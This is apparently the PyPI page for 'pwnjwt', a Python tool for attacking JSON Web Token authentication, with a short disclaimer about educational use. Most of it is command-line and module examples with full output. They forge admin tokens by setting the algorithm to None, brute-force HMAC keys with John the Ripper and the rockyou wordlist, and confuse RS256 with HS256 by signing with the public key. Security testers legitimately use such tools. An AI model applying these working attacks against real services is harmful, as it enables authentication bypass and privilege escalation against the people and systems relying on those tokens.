Skip to main content

pwnjwt

JWT pwn Python module

This small module allows you to create JWToken instances. This object will store informations about the token such as if it's signed and with which algorithm. But if you have JohnTheRipper installed on your path and (optionally) a wordlist you could try to break the secret key of the token. Then you'll be able to forge a new valid token, signed with the cracked key.

Disclamer

This module is for security checking and educational purposes. Don't use it for anything illegal. You are the only responsible of your acts.

Installation

pip install pwnjwt

or

git clone https://github.com/chalios/pwnjwt.git
cd pwnjwt
pip install -e .

It is recommanded to create a virtual environment with python3 -m venv path/to/myenvironment.

Usage

You can use it by 2 ways:

  • Standalone : pwnjwt -b -w /usr/share/wordlists/rockyou.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
  • As a module in Python:
from pwnjwt import JWToken

token = JWToken('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE')

# OR if you know the key
token = JWToken('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE', key='Sn1f')

token.encoded == 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE'

token.header == {'typ':'JWT', 'alg':'HS256'}
token.signed == True
token.algo   == 'HS256'
token.key    == '' # OR 'Sn1f'
token.payload == {'role': 'guest'}

# Will bruteforce and update the token.key
token.bruteforce(wordlist='../rockyou.txt')

# If you got the key (token.key):
new_token = token.forge({'role':'admin'})

Standalone Examples

The 3 main ways to hack JWT are:

  1. Remove signature and set algorithm to None
  2. Bruteforce the key (as it can be done offline)
  3. If encoded in RS256 (asymetric Private/Public keys) -> switch to HS256 with public key as key.

Case 1 - Unsign

./pwnjwt.py -f '{"username":"admin"}' -a None \
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.\
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.\
cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE

Output:

Token     : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Header    : {'alg': 'HS256', 'typ': 'JWT'} (eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9)
Payload   : {'sub': '1234567890', 'name': 'John Doe', 'admin': True} (eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9)
Algorithm : HS256
Key       :


[+] New Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.

Case 2 - Crack the key

./pwnjwt.py -b -w /usr/share/wordlists/rockyou.txt \
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.\
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.\
cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE

Output :

[*] Starting Bruteforce with John using /usr/share/wordlists/rockyou.txt.
[+] Key found: Sn1f

Token     : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Header    : {'alg': 'HS256', 'typ': 'JWT'} (eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9)
Payload   : {'sub': '1234567890', 'name': 'John Doe', 'admin': True} (eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9)
Algorithm : HS256
Key       : Sn1f

Or if key wasn't found :

[*] Starting Bruteforce with John using /usr/share/wordlists/rockyou.txt.
[-] Key not found.

Token     : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Header    : {'alg': 'HS256', 'typ': 'JWT'} (eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9)
Payload   : {'sub': '1234567890', 'name': 'John Doe', 'admin': True} (eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9)
Algorithm : HS256
Key       :

Case 3 - Switching RSA256 - HMAC-SHA256

./pwnjwt.py -f '{"username":"administrator_root_superGOD"}' -a HS256 \
-k public.pem \
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.\
eyJ1c2VybmFtZSI6IkdvZE1hc3RlciJ9.\
QxrGZtmKXEzoLLdnUm1AZDyNZttM4GFeJcC3E66uQWF4vp2hAbHc2j1uzesS7Mha9i2EEtb\
8PnPw6UHSiIp965kuHhKM6O3m-2S36lKiTE-qGGW66Run3g4y1BuhUGZuxsnn2B3YlznHcF\
P1WR3DbybQDf7N7OmtLLZMWsRD0A-fzj_RiPjv_EzFVtCBPJMApvF7JxXosd4nlpVa8pxYR\
hPU0fjLGGYB2zxokarZLWCpcdGde_5Rs76gnerEvcptXp5zTxWF0hF6JNqrAng7JdtS_uo5\
CYjQ0DSHXATdqNd-mZdGHeYUwQe1JgTJ7oLal4GNhspwaQCIa5R9KFx8rw

Output:

Token     : eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IkdvZE1hc3RlciJ9.QxrGZtmKXEzoLLdnUm1AZDyNZttM4GFeJcC3E66uQWF4vp2hAbHc2j1uzesS7Mha9i2EEtb8PnPw6UHSiIp965kuHhKM6O3m-2S36lKiTE-qGGW66Run3g4y1BuhUGZuxsnn2B3YlznHcFP1WR3DbybQDf7N7OmtLLZMWsRD0A-fzj_RiPjv_EzFVtCBPJMApvF7JxXosd4nlpVa8pxYRhPU0fjLGGYB2zxokarZLWCpcdGde_5Rs76gnerEvcptXp5zTxWF0hF6JNqrAng7JdtS_uo5CYjQ0DSHXATdqNd-mZdGHeYUwQe1JgTJ7oLal4GNhspwaQCIa5R9KFx8rw
Header    : {'typ': 'JWT', 'alg': 'RS256'} (eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9)
Payload   : {'username': 'GodMaster'} (eyJ1c2VybmFtZSI6IkdvZE1hc3RlciJ9)
Algorithm : RS256
Key       : -----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3KthdfLESvFKn9LqBfvT
RlakP02YGC7QJ4ywfFiOcWjrXvKKjUkPd3J+A/7/MjgbgGZaroJgDZn5WsDg40dx
a3DiVUQU7VGDBh1eKbslfabopCHtQWZ6zLyR38OMqlZjanzv2eEJCMmMxTzykTXm
GAZNIdHC8FuuXe6cdVGyfjRNqAfOUUzeFo7GCTWORXMf1/l1ouzJBO5SVj1YluMZ
Rwys1ysHZZDn/NAYY/vaubSq7jYEYbwRdfD3tJpnISHHUKH6YCbYjDApisaSiFV/
Q/JbE4OJS5NErZ5z6froyBbi+F1s85hfwB5UJPDvKlVVJpO30WPAl3pl/ddeGjtl
eQIDAQAB
-----END PUBLIC KEY-----



[+] New Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3Jfcm9vdF9zdXBlckdPRCJ9.ccQYH4Ch9PSeTwHmRJnRzgA9RUki20iMNOhNvLEOajk

And to check the new token:

./pwnjwt.py -k public.pem eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3Jfcm9vdF9zdXBlckdPRCJ9.ccQYH4Ch9PSeTwHmRJnRzgA9RUki20iMNOhNvLEOajk
Token     : eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3Jfcm9vdF9zdXBlckdPRCJ9.ccQYH4Ch9PSeTwHmRJnRzgA9RUki20iMNOhNvLEOajk
Header    : {'typ': 'JWT', 'alg': 'HS256'} (eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9)
Payload   : {'username': 'administrator_root_superGOD'} (eyJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3Jfcm9vdF9zdXBlckdPRCJ9)
Algorithm : HS256
Key       : -----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3KthdfLESvFKn9LqBfvT
RlakP02YGC7QJ4ywfFiOcWjrXvKKjUkPd3J+A/7/MjgbgGZaroJgDZn5WsDg40dx
a3DiVUQU7VGDBh1eKbslfabopCHtQWZ6zLyR38OMqlZjanzv2eEJCMmMxTzykTXm
GAZNIdHC8FuuXe6cdVGyfjRNqAfOUUzeFo7GCTWORXMf1/l1ouzJBO5SVj1YluMZ
Rwys1ysHZZDn/NAYY/vaubSq7jYEYbwRdfD3tJpnISHHUKH6YCbYjDApisaSiFV/
Q/JbE4OJS5NErZ5z6froyBbi+F1s85hfwB5UJPDvKlVVJpO30WPAl3pl/ddeGjtl
eQIDAQAB
-----END PUBLIC KEY-----


Metadata

Release files for pwnjwt 0.1.1

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for pwnjwt 0.1.1
File Size Uploaded Provenance Actions
pwnjwt-0.1.1.tar.gz 18.6 kB Without provenance Details for pwnjwt-0.1.1.tar.gz

Built distribution (wheel)

Table of built distributions (wheels) for pwnjwt 0.1.1
File Interpreter ABI Platform Actions
pwnjwt-0.1.1-py3-none-any.whl Python 3 none any Details for pwnjwt-0.1.1-py3-none-any.whl

Total release size: 37.2 kB

Release files / pwnjwt-0.1.1.tar.gz

Download URL pwnjwt-0.1.1.tar.gz
Size 18.6 kB
Tags Source
SHA-256 checksum
How to use checksums
323a03a1bd5c65129a13461a6f96311028b792177f2ecc2695a7c524b81265c9
BLAKE2b-256 checksum
How to use checksums
3e79e9487ba4b46177439701327d07d88ab48975d0d019080d9b67b5a4527506
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/6.2.0 CPython/3.12.3

Release files / pwnjwt-0.1.1-py3-none-any.whl

Download URL pwnjwt-0.1.1-py3-none-any.whl
Size 18.6 kB
Tags Python 3
SHA-256 checksum
How to use checksums
5e034584077bebf91916485e58c6f4ab08ff3f978e0bf6cef937a22befcca06a
BLAKE2b-256 checksum
How to use checksums
cbedbe9843473a6c90372764b92437a6f697300cec40c0a61e4a1fb3e4ebefdb
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/6.2.0 CPython/3.12.3

Security for pwnjwt 0.1.1

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Release history Release notifications | RSS feed

This release

0.1.1 This release

2 release files No provenance

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page